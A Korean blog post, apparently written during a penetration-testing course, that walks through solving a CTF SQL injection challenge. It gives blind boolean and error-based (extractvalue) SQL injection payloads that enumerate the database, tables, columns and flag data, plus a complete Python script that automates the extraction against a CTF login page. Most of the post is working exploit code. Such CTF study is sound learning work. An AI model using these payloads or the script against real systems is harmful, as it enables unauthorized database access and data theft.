모의해킹 스터디 중 CTF 문제에 대한 풀이 과정을 서술하며, 문제에 도달하는 과정을 이해하기 위한 목적으로 작성.
CTF SQLi 6 문제 풀이
목차
위의 목차를 클릭하면 해당 글로 자동 이동 합니다.
SQLi Point 확인
입력한 구문에 따라, 참과 거짓 값이 구분되어 리턴 되는지 확인한다.
normaltic’ and (‘1’=‘2’) and ‘1’=‘1
normaltic’ and (‘1’=‘1’) and ‘1’=‘1
Data 추출 코드
1. Database 명 찾기
'UserId': f"normaltic' and (ascii(substr((select table_name from information_schema.tables where table_schema='sqli_3' limit {column},1),{numChar},1))={i}) and '1'='1",
'Password': '1234'
2. Table 명 찾기
'UserId': f"normaltic' and (ascii(substr((select table_name from information_schema.tables where table_schema='sqli_3' limit {column},1),{numChar},1))={i}) and '1'='1",
'Password': '1234'
3. Column 명 찾기
'UserId': f"normaltic' and (ascii(substr((select column_name from information_schema.columns where table_name='flag_table' limit {column},1),{numChar},1))={i}) and '1'='1",
'Password': '1234'
4. Data 확인
'UserId': f"normaltic' and (ascii(substr((select column_name from information_schema.columns where table_name='flag_table' limit {column},1),{numChar},1))={i}) and '1'='1",
'Password': '1234'
Python 코드
더보기
import requests
import re
print("[*] Sql Injection6 ")
url = 'http://ctf.segfaulthub.com:7777/sqli_3/login.php'
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36',
}
#sql injection point 찾기
def sqli_point(url, headers, session):
result = ""
numChar = 1
while True:
found = False
for i in range (0,130):
data = {
'UserId': f"normaltic' and (ascii(substr((select database()),{numChar},1))>{i}) and '1'='1",
'Password': '1234',
'Submit': 'Login'
}
response = requests.post(url, headers=headers, data=data)
if response.status_code == 200:
match = re.search(r'User Name :.*', response.text)
if not match: # "User Name:"이 리턴되지 않는 경우
if i == 0:
print (f"NULL at {numChar}")
break
found = True
result += chr(i)
print(f"ASCII value {i} ('{chr(i)}') at position {numChar}")
break
else:
print(f"Failed to get response: {response.status_code}")
return
if not found:
break
numChar += 1
print(f"Database name: {result}")
#database 안의 table, column 찾는 쿼리 (append로 컬럼별로 result를 구분할 수 있을 것 같은데.. 아직 방법 못찾음)
def find_database(url, headers, session):
results = []
numChar = 1
column = 0
result = ""
while True:
char_found = False # 루프의 시작 부분에 char_found를 초기화
for i in range (130): # offset 값을 0부터 시작하여 증가시키며 반복
print(f"Trying column: {column}, numChar: {numChar}, i: {i}", end="\r")
data = {
'UserId': f"normaltic' and (ascii(substr((select table_name from information_schema.tables where table_schema='sqli_3' limit {column},1),{numChar},1))={i}) and '1'='1",
'Password': '1234',
'Submit': 'Login'
}
response = session.post(url, headers=headers, data=data)
if response.status_code == 200:
match = re.search(r'User Name : *', response.text)
if match: # "User Name:"이 리턴되지 않는 경우
print(f"ASCII value {i} ('{chr(i)}') at position {numChar}")
if i == 0 and numChar > 1:
print(f"End of column {column} : {result}")
results.append(result) # 각 column의 결과를 results 리스트에 추가
result = "" # result 초기화 (이전 column 값이 다음 column에 반영되지 않도록 설정)
numChar = 1
column += 1 # column 값을 증가시킴
char_found = True
break
result += chr(i)
numChar += 1
char_found = True
break
if not char_found: # 더 이상 문자를 찾을 수 없으면 column 값을 증가시킴
if result :
results.append(result)
numChar = 1 # numChar를 1로 초기화
column += 1 # column 값을 증가시킴
if column > 5: # 수정: column의 최대치를 지정 (원하는 만큼 수정 가능)
break
for col_result in results:
print(f"Database name: {col_result}") # 각 column의 결과를 출력
def find_column(url, headers, session):
result = ""
numChar = 1
column = 0
while True:
char_found = False # 루프의 시작 부분에 char_found를 초기화
for i in range (130): # offset 값을 0부터 시작하여 증가시키며 반복
print(f"Trying column: {column}, numChar: {numChar}, i: {i}", end="\r")
data = {
'UserId': f"normaltic' and (ascii(substr((select column_name from information_schema.columns where table_name='flag_table' limit {column},1),{numChar},1))={i}) and '1'='1",
'Password': '1234',
'Submit': 'Login'
}
response = session.post(url, headers=headers, data=data)
if response.status_code == 200:
match = re.search(r'User Name : *', response.text)
if match: # "User Name:"이 리턴되지 않는 경우
print(f"ASCII value {i} ('{chr(i)}') at position {numChar}")
if i == 0 and numChar > 1:
print(f"End of column {column} : {result}")
numChar = 1
column += 1 # column 값을 증가시킴
char_found = True
break
result += chr(i)
numChar += 1
char_found = True
break
if not char_found: # 더 이상 문자를 찾을 수 없으면 column 값을 증가시킴
numChar = 1 # numChar를 1로 초기화
column += 1 # column 값을 증가시킴
if column > 5: # 수정: column의 최대치를 지정 (원하는 만큼 수정 가능)
break
print(f"Column name: {result}")
#table 안에서 column 값 조회
def find_data(url, headers, session):
result = ""
numChar = 1
while True:
found = False # 루프의 시작 부분에 char_found를 초기화
for i in range (0,130): # offset 값을 0부터 시작하여 증가시키며 반복
print(f"Trying numChar: {numChar}, i: {i}", end="\r")
data = {
'UserId': f"normaltic' and (ascii(substr((select flag from flag_table limit 0,1),{numChar},1))>{i}) and '1'='1",
'Password': '1234',
'Submit': 'Login'
}
response = requests.post(url, headers=headers, data=data)
if response.status_code == 200:
match = re.search(r'User Name :.*', response.text)
if not match: # "User Name:"이 리턴되지 않는 경우
if i == 0:
print (f"NULL at {numChar}")
break
found = True
result += chr(i)
print(f"ASCII value {i} ('{chr(i)}') at position {numChar}")
break
else:
print(f"Failed to get response: {response.status_code}")
return
if not found:
break
numChar += 1
print(f"Database name: {result}")
#테이블 안에서 여러 컬럼의 값을 리턴하는 쿼리
def find_flag_in_flagtable(url, headers, session):
matches = [] # 모든 match.group(0) 값을 저장할 리스트
offset = 0
for offset in range (9): # offset 값을 0부터 시작하여 증가시키며 반복
data = {
'UserId': f"normaltic' and extractvalue('1', concat(0x3a, (select flag{offset+1} from flag_table limit 1 offset 0))) and '1'='1",
'Password': '1234',
'Submit': 'Login'
}
response = requests.post(url, headers=headers, data=data)
if response.status_code == 200:
match = re.search(r'Could not update data:.*', response.text, re.DOTALL)
if match:
print(f"Offset {offset}: {match.group(0)}")
parts = match.group(0).split("Could not update data: XPATH syntax error: ':")
if len(parts) > 1:
matches.append(parts[1].rstrip("'")) # ':' 뒤의 내용만 리스트에 추가
offset += 1 # offset 값을 증가시킴
else:
match = re.search (r'User Name :.*', response.text)
if match:
print(match.group(0))
else:
print("Required text not found in the response.")
else:
print(f"Failed to get response: {response.status_code}")
break
# 모든 match.group(0) 값을 한 줄로 출력
print(" ".join(matches))
session = requests.Session()
#result = sqli_point(url, headers, session)
result = find_database(url, headers, session)
#result = find_column(url, headers, session)
#result = find_data(url, headers, session)
#result = find_flag_in_flagtable(url, headers, session)
print(result)
'IT 성장기 (교육이수) > CTF 문제풀이' 카테고리의 다른 글
[모의해킹 CTF] Client Script XSS 문제 풀이 (0) | 2024.07.03 |
---|---|
[모의해킹 CTF] Error Based SQLi5 (0) | 2024.06.04 |
[모의해킹 CTF] Error Based SQLi4 (0) | 2024.06.03 |
[모의해킹 CTF] Error Based SQLi3 (0) | 2024.06.03 |
[모의해킹 CTF] Pin Code Crack : Python 풀이 (0) | 2024.05.28 |